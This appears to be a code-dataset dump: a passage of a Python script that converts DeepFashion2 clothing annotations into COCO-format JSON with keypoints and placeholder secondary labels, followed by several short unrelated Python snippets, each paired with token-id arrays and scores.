'266', '267', '268', '269', '270', '271', '272', '273', '274', '275', '276', '277', '278', '279', '280', '281', '282', '283', '284', '285', '286', '287', '288', '289', '290', '291', '292', '293', '294'], 'skeleton': [] }) dataset['categories'].append({ 'id': 8, 'name': "trousers", 'supercategory': "clothes", 'keypoints': ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98', '99', '100', '101', '102', '103', '104', '105', '106', '107', '108', '109', '110', '111', '112', '113', '114', '115', '116', '117', '118', '119', '120', '121', '122', '123', '124', '125', '126', '127', '128', '129', '130', '131', '132', '133', '134', '135', '136', '137', '138', '139', '140', '141', '142', '143', '144', '145', '146', '147', '148', '149', '150', '151', '152', '153', '154', '155', '156', '157', '158', '159', '160', '161', '162', '163', '164', '165', '166', '167', '168', '169', '170', '171', '172', '173', '174', '175', '176', '177', '178', '179', '180', '181', '182', '183', '184', '185', '186', '187', '188', '189', '190', '191', '192', '193', '194', '195', '196', '197', '198', '199', '200', '201', '202', '203', '204', '205', '206', '207', '208', '209', '210', '211', '212', '213', '214', '215', '216', '217', '218', '219', '220', '221', '222', '223', '224', '225', '226', '227', '228', '229', '230', '231', '232', '233', '234', '235', '236', '237', '238', '239', '240', '241', '242', '243', '244', '245', '246', '247', '248', '249', '250', '251', '252', '253', '254', '255', '256', '257', '258', '259', '260', '261', '262', '263', '264', '265', '266', '267', '268', '269', '270', '271', '272', '273', '274', '275', '276', '277', '278', '279', '280', '281', '282', '283', '284', '285', '286', '287', '288', '289', '290', '291', '292', '293', '294'], 'skeleton': [] }) dataset['categories'].append({ 'id': 9, 'name': "skirt", 'supercategory': "clothes", 'keypoints': ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98', '99', '100', '101', '102', '103', '104', '105', '106', '107', '108', '109', '110', '111', '112', '113', '114', '115', '116', '117', '118', '119', '120', '121', '122', '123', '124', '125', '126', '127', '128', '129', '130', '131', '132', '133', '134', '135', '136', '137', '138', '139', '140', '141', '142', '143', '144', '145', '146', '147', '148', '149', '150', '151', '152', '153', '154', '155', '156', '157', '158', '159', '160', '161', '162', '163', '164', '165', '166', '167', '168', '169', '170', '171', '172', '173', '174', '175', '176', '177', '178', '179', '180', '181', '182', '183', '184', '185', '186', '187', '188', '189', '190', '191', '192', '193', '194', '195', '196', '197', '198', '199', '200', '201', '202', '203', '204', '205', '206', '207', '208', '209', '210', '211', '212', '213', '214', '215', '216', '217', '218', '219', '220', '221', '222', '223', '224', '225', '226', '227', '228', '229', '230', '231', '232', '233', '234', '235', '236', '237', '238', '239', '240', '241', '242', '243', '244', '245', '246', '247', '248', '249', '250', '251', '252', '253', '254', '255', '256', '257', '258', '259', '260', '261', '262', '263', '264', '265', '266', '267', '268', '269', '270', '271', '272', '273', '274', '275', '276', '277', '278', '279', '280', '281', '282', '283', '284', '285', '286', '287', '288', '289', '290', '291', '292', '293', '294'], 'skeleton': [] }) dataset['categories'].append({ 'id': 10, 'name': "short_sleeved_dress", 'supercategory': "clothes", 'keypoints': ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98', '99', '100', '101', '102', '103', '104', '105', '106', '107', '108', '109', '110', '111', '112', '113', '114', '115', '116', '117', '118', '119', '120', '121', '122', '123', '124', '125', '126', '127', '128', '129', '130', '131', '132', '133', '134', '135', '136', '137', '138', '139', '140', '141', '142', '143', '144', '145', '146', '147', '148', '149', '150', '151', '152', '153', '154', '155', '156', '157', '158', '159', '160', '161', '162', '163', '164', '165', '166', '167', '168', '169', '170', '171', '172', '173', '174', '175', '176', '177', '178', '179', '180', '181', '182', '183', '184', '185', '186', '187', '188', '189', '190', '191', '192', '193', '194', '195', '196', '197', '198', '199', '200', '201', '202', '203', '204', '205', '206', '207', '208', '209', '210', '211', '212', '213', '214', '215', '216', '217', '218', '219', '220', '221', '222', '223', '224', '225', '226', '227', '228', '229', '230', '231', '232', '233', '234', '235', '236', '237', '238', '239', '240', '241', '242', '243', '244', '245', '246', '247', '248', '249', '250', '251', '252', '253', '254', '255', '256', '257', '258', '259', '260', '261', '262', '263', '264', '265', '266', '267', '268', '269', '270', '271', '272', '273', '274', '275', '276', '277', '278', '279', '280', '281', '282', '283', '284', '285', '286', '287', '288', '289', '290', '291', '292', '293', '294'], 'skeleton': [] }) dataset['categories'].append({ 'id': 11, 'name': "long_sleeved_dress", 'supercategory': "clothes", 'keypoints': ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98', '99', '100', '101', '102', '103', '104', '105', '106', '107', '108', '109', '110', '111', '112', '113', '114', '115', '116', '117', '118', '119', '120', '121', '122', '123', '124', '125', '126', '127', '128', '129', '130', '131', '132', '133', '134', '135', '136', '137', '138', '139', '140', '141', '142', '143', '144', '145', '146', '147', '148', '149', '150', '151', '152', '153', '154', '155', '156', '157', '158', '159', '160', '161', '162', '163', '164', '165', '166', '167', '168', '169', '170', '171', '172', '173', '174', '175', '176', '177', '178', '179', '180', '181', '182', '183', '184', '185', '186', '187', '188', '189', '190', '191', '192', '193', '194', '195', '196', '197', '198', '199', '200', '201', '202', '203', '204', '205', '206', '207', '208', '209', '210', '211', '212', '213', '214', '215', '216', '217', '218', '219', '220', '221', '222', '223', '224', '225', '226', '227', '228', '229', '230', '231', '232', '233', '234', '235', '236', '237', '238', '239', '240', '241', '242', '243', '244', '245', '246', '247', '248', '249', '250', '251', '252', '253', '254', '255', '256', '257', '258', '259', '260', '261', '262', '263', '264', '265', '266', '267', '268', '269', '270', '271', '272', '273', '274', '275', '276', '277', '278', '279', '280', '281', '282', '283', '284', '285', '286', '287', '288', '289', '290', '291', '292', '293', '294'], 'skeleton': [] }) dataset['categories'].append({ 'id': 12, 'name': "vest_dress", 'supercategory': "clothes", 'keypoints': ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98', '99', '100', '101', '102', '103', '104', '105', '106', '107', '108', '109', '110', '111', '112', '113', '114', '115', '116', '117', '118', '119', '120', '121', '122', '123', '124', '125', '126', '127', '128', '129', '130', '131', '132', '133', '134', '135', '136', '137', '138', '139', '140', '141', '142', '143', '144', '145', '146', '147', '148', '149', '150', '151', '152', '153', '154', '155', '156', '157', '158', '159', '160', '161', '162', '163', '164', '165', '166', '167', '168', '169', '170', '171', '172', '173', '174', '175', '176', '177', '178', '179', '180', '181', '182', '183', '184', '185', '186', '187', '188', '189', '190', '191', '192', '193', '194', '195', '196', '197', '198', '199', '200', '201', '202', '203', '204', '205', '206', '207', '208', '209', '210', '211', '212', '213', '214', '215', '216', '217', '218', '219', '220', '221', '222', '223', '224', '225', '226', '227', '228', '229', '230', '231', '232', '233', '234', '235', '236', '237', '238', '239', '240', '241', '242', '243', '244', '245', '246', '247', '248', '249', '250', '251', '252', '253', '254', '255', '256', '257', '258', '259', '260', '261', '262', '263', '264', '265', '266', '267', '268', '269', '270', '271', '272', '273', '274', '275', '276', '277', '278', '279', '280', '281', '282', '283', '284', '285', '286', '287', '288', '289', '290', '291', '292', '293', '294'], 'skeleton': [] }) dataset['categories'].append({ 'id': 13, 'name': "sling_dress", 'supercategory': "clothes", 'keypoints': ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98', '99', '100', '101', '102', '103', '104', '105', '106', '107', '108', '109', '110', '111', '112', '113', '114', '115', '116', '117', '118', '119', '120', '121', '122', '123', '124', '125', '126', '127', '128', '129', '130', '131', '132', '133', '134', '135', '136', '137', '138', '139', '140', '141', '142', '143', '144', '145', '146', '147', '148', '149', '150', '151', '152', '153', '154', '155', '156', '157', '158', '159', '160', '161', '162', '163', '164', '165', '166', '167', '168', '169', '170', '171', '172', '173', '174', '175', '176', '177', '178', '179', '180', '181', '182', '183', '184', '185', '186', '187', '188', '189', '190', '191', '192', '193', '194', '195', '196', '197', '198', '199', '200', '201', '202', '203', '204', '205', '206', '207', '208', '209', '210', '211', '212', '213', '214', '215', '216', '217', '218', '219', '220', '221', '222', '223', '224', '225', '226', '227', '228', '229', '230', '231', '232', '233', '234', '235', '236', '237', '238', '239', '240', '241', '242', '243', '244', '245', '246', '247', '248', '249', '250', '251', '252', '253', '254', '255', '256', '257', '258', '259', '260', '261', '262', '263', '264', '265', '266', '267', '268', '269', '270', '271', '272', '273', '274', '275', '276', '277', '278', '279', '280', '281', '282', '283', '284', '285', '286', '287', '288', '289', '290', '291', '292', '293', '294'], 'skeleton': [] }) # categories2 dataset['categories2'].append({ 'id': 1, 'name': "commodity", 'supercategory': "fashion", }) dataset['categories2'].append({ 'id': 2, 'name': "model", 'supercategory': "fashion" }) dataset['categories2'].append({ 'id': 3, 'name': "detail", 'supercategory': "fashion" }) dataset['categories2'].append({ 'id': 4, 'name': "specification", 'supercategory': "fashion" }) dataset['categories2'].append({ 'id': 5, 'name': "unknown", 'supercategory': "fashion" }) # dataset['categories2'].append({ # 'id': 0, # 'name': "ignore", # 'supercategory': "fashion" # }) top_categories = (1, 2, 3, 4, 5, 6) down_categories = (7, 8, 9) whole_categories = (10, 11, 12, 13) categories2_name = ['commodity', 'model', 'detail', 'specification', 'unknown'] part_name = ['ignore', 'top', 'down', 'whole'] total_landmark_nums = [25, 33, 31, 39, 15, 15, 10, 14, 8, 29, 37, 19, 19] scale_types = ['unknown', 'small', 'modest', 'large'] # all bboxes are truncated, return true start_id = 150001 num_images = 41960 root_dir = '/Users/fangcheng.ji/Documents/datasets/deepfashion2/train/' #root_dir = '/Users/fangcheng.ji/Documents/datasets/deepfashion2/train/' sub_index = 0 # the index of ground truth instance sub_index2 = 0 # the index of annotations2 ground truth instance for num in range(start_id, start_id + num_images): json_name = root_dir + 'annos/' + str(num).zfill(6)+'.json' image_name = root_dir + 'image/' + str(num).zfill(6)+'.jpg' print("processing {}".format(image_name)) if (num>=0) and os.path.isfile(image_name): imag = Image.open(image_name) width, height = imag.size items = [] with open(json_name, 'r') as f: temp = json.loads(f.read()) source = temp['source'] # filter the user data first, only use the shop data in phase 1 if source != 'shop': continue pair_id = temp['pair_id'] dataset['images'].append({ 'coco_url': '', 'date_captured': '', 'file_name': str(num).zfill(6) + '.jpg', 'flickr_url': '', 'id': num, 'license': 0, 'width': width, 'height': height }) for i in temp: if i == 'source' or i=='pair_id': continue else: points = np.zeros(294 * 3) sub_index = sub_index + 1 # bounding box box = temp[i]['bounding_box'] w = box[2]-box[0] h = box[3]-box[1] x_1 = box[0] y_1 = box[1] bbox=[x_1,y_1,w,h] # category cat = temp[i]['category_id'] cat_name = temp[i]['category_name'] # other attribute style = temp[i]['style'] viewpoint = temp[i]['viewpoint'] scale = temp[i]['scale'] zoom_in = temp[i]['zoom_in'] occlusion = temp[i]['occlusion'] #segmentation and landmarks seg = temp[i]['segmentation'] landmarks = temp[i]['landmarks'] points_x = landmarks[0::3] points_y = landmarks[1::3] points_v = landmarks[2::3] points_x = np.array(points_x) points_y = np.array(points_y) points_v = np.array(points_v) if cat == 1: for n in range(0, 25): points[3 * n] = points_x[n] points[3 * n + 1] = points_y[n] points[3 * n + 2] = points_v[n] elif cat ==2: for n in range(25, 58): points[3 * n] = points_x[n - 25] points[3 * n + 1] = points_y[n - 25] points[3 * n + 2] = points_v[n - 25] elif cat ==3: for n in range(58, 89): points[3 * n] = points_x[n - 58] points[3 * n + 1] = points_y[n - 58] points[3 * n + 2] = points_v[n - 58] elif cat == 4: for n in range(89, 128): points[3 * n] = points_x[n - 89] points[3 * n + 1] = points_y[n - 89] points[3 * n + 2] = points_v[n - 89] elif cat == 5: for n in range(128, 143): points[3 * n] = points_x[n - 128] points[3 * n + 1] = points_y[n - 128] points[3 * n + 2] = points_v[n - 128] elif cat == 6: for n in range(143, 158): points[3 * n] = points_x[n - 143] points[3 * n + 1] = points_y[n - 143] points[3 * n + 2] = points_v[n - 143] elif cat == 7: for n in range(158, 168): points[3 * n] = points_x[n - 158] points[3 * n + 1] = points_y[n - 158] points[3 * n + 2] = points_v[n - 158] elif cat == 8: for n in range(168, 182): points[3 * n] = points_x[n - 168] points[3 * n + 1] = points_y[n - 168] points[3 * n + 2] = points_v[n - 168] elif cat == 9: for n in range(182, 190): points[3 * n] = points_x[n - 182] points[3 * n + 1] = points_y[n - 182] points[3 * n + 2] = points_v[n - 182] elif cat == 10: for n in range(190, 219): points[3 * n] = points_x[n - 190] points[3 * n + 1] = points_y[n - 190] points[3 * n + 2] = points_v[n - 190] elif cat == 11: for n in range(219, 256): points[3 * n] = points_x[n - 219] points[3 * n + 1] = points_y[n - 219] points[3 * n + 2] = points_v[n - 219] elif cat == 12: for n in range(256, 275): points[3 * n] = points_x[n - 256] points[3 * n + 1] = points_y[n - 256] points[3 * n + 2] = points_v[n - 256] elif cat == 13: for n in range(275, 294): points[3 * n] = points_x[n - 275] points[3 * n + 1] = points_y[n - 275] points[3 * n + 2] = points_v[n - 275] num_points = len(np.where(points_v > 0)[0]) items.append(item(cat, viewpoint, scale, bbox, num_points)) dataset['annotations'].append({ 'area': w*h, 'bbox': bbox, 'category_id': cat, 'id': sub_index, 'pair_id': pair_id, 'image_id': num, 'iscrowd': 0, 'style': style, 'num_keypoints':num_points, 'keypoints':points.tolist() #'segmentation': seg, }) # category2_id, part, toward = deepfashion2noah(items, (width, height)) # for test # if category2_id == 2: # new_path = image_name.replace('image', categories2_name[category2_id] + '/' + part_name[part]) # else: # new_path = image_name.replace('image', categories2_name[category2_id]) # # shutil.move(image_name, new_path) part = 0 toward = 0 sub_index2 += 1 dataset['annotations2'].append({ 'image_id': num, 'id': sub_index2, 'category2_id': random.randint(1, 5), 'part': part if part is not None else 0, 'toward': toward if toward is not None else 0, 'ignore': 1 # 1 means ignore the result }) json_name = root_dir + 'classification_ignore_19w.json' with open(json_name, 'w') as f: json.dump(dataset, f)
[ 11748, 33918, 198, 6738, 350, 4146, 1330, 7412, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 4423, 346, 198, 11748, 28686, 198, 11748, 4738, 198, 198, 19608, 292, 316, 796, 1391, 198, 220, 220, 220, 366, 10951, 1298, 1391, 5512, 198,...
2.046066
17,779
# coding: utf-8 from __future__ import absolute_import, division, print_function, unicode_literals from typing import TYPE_CHECKING from feishu.dt_drive import DriveDocFileMeta from feishu.dt_help import make_datatype if TYPE_CHECKING: from feishu.api import OpenLark
[ 2, 19617, 25, 3384, 69, 12, 23, 198, 198, 6738, 11593, 37443, 834, 1330, 4112, 62, 11748, 11, 7297, 11, 3601, 62, 8818, 11, 28000, 1098, 62, 17201, 874, 198, 198, 6738, 19720, 1330, 41876, 62, 50084, 2751, 198, 198, 6738, 730, 680, ...
3.043956
91
from typing import List import numpy as np EMPTY_SYMBOL = "_" #Validators
[ 6738, 19720, 1330, 7343, 198, 11748, 299, 32152, 355, 45941, 628, 198, 39494, 9936, 62, 23060, 10744, 3535, 796, 45434, 1, 628, 220, 220, 220, 1303, 47139, 2024, 628, 628, 220, 220, 220, 220, 220, 220, 220, 220, 628, 220, 220, 220, ...
2.057692
52
import datetime print(datetime.datetime.now().timetz())
[ 11748, 4818, 8079, 198, 4798, 7, 19608, 8079, 13, 19608, 8079, 13, 2197, 22446, 16514, 23773, 28955, 198 ]
3.111111
18
#!/usr/bin/env python3 ''' This AudioType only prints some info onto the console ''' import logging from audiotype.IAudioType import IAudioType
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 198, 7061, 6, 198, 1212, 13491, 6030, 691, 20842, 617, 7508, 4291, 262, 8624, 198, 7061, 6, 198, 198, 11748, 18931, 198, 6738, 2709, 5151, 2981, 13, 3539, 463, 952, 6030, 1330, 3...
3.222222
45
# Generated by Django 3.0.6 on 2020-06-06 13:25 import backend.storage_backends from django.db import migrations, models
[ 2, 2980, 515, 416, 37770, 513, 13, 15, 13, 21, 319, 12131, 12, 3312, 12, 3312, 1511, 25, 1495, 198, 198, 11748, 30203, 13, 35350, 62, 1891, 2412, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 11, 4981, 628 ]
3.075
40